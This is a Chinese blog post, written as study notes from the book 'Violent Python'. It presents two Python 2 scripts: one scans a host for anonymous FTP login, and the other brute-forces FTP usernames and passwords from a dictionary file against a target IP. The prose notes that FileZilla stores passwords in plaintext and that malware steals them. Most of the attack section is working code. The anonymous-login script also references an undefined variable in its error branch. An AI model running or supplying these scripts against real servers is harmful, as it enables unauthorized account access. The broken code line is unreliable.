Python黑客攻防(十四)暴力破解FTP口令

注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。
参考:《Python绝技:运用Python成为顶级黑客》。

前言:

从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法。然而,令人惊讶的是许多网站为此提供的正当理由却是:匿名FTP访问有助于网站访问软件更新。
在进行FTP密码暴力破解前,我们要先验证一下目标服务器是否允许FTP匿登录。
我们可以利用Python中的ftplib 库编写一个小脚本, 确定目标服务器是否允许匿名登录。anonLogin()函数接收的参数是一个主机名,并返回一个布尔值来描述该主机是不是提供匿名FTP 登录。具体的操作过程是,该函数尝试建立-一个匿名FTP连接。如果成功,则返回“true”。如果在建立连接的过程中函数抛出了一个异常,则返回“False”。
FTP扫描器

# coding=utf-8
import ftplib
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'HackBG@123.com')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'
        return False
hostname = '192.168.1.16' #目标主机IP
anonLogin(hostname)

结果

在这里插入图片描述

暴力破解:

虽然匿名访问是进入系统的方式之一,但攻击者也能成功地用偷来的用户名/密码访问合法的FTP服务器。FileZilla 之类的FTP客户端程序往往将密码以明文形式存储在配置文件中(Huang, 2011)。在默认位置中存储明文密码使得专门为此编写的恶意软件能够迅速窃取用户名密码。安全专家们在近期发现的恶意软件中也发现了窃取FTP密码的功能。更有甚者,HD Moore将一个名为get_filezilla _creds.rb 的脚本也集成在了新发布的Metasploit中,允许用户在获得目标控制权后可以快速寻找FTP密码。如果我们要暴力破解的某个用户名/密码对就在一个文本文件里会怎么样呢?为了演示我们的脚本,我们假设用户名/密码对是存储在一 个纯文本文件中的。

在这里插入图片描述

暴力破解FTP密码

# coding=utf-8
import ftplib
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        username = line.split(':')[0]
        password = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + username + '/' + password
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(username, password)
            print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
            ftp.quit()
            return (username, password)
        except Exception, e:
            pass
    print '\n[-] Could not brubrute force FTP credentials.'
    return (None, None)
host = '192.168.1.16' #目标IP
passwdFile = r'/home/kali/桌面/a.txt' #密码字典
bruteLogin(host, passwdFile)

测试结果

在这里插入图片描述
微信公众号:黑客帮
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值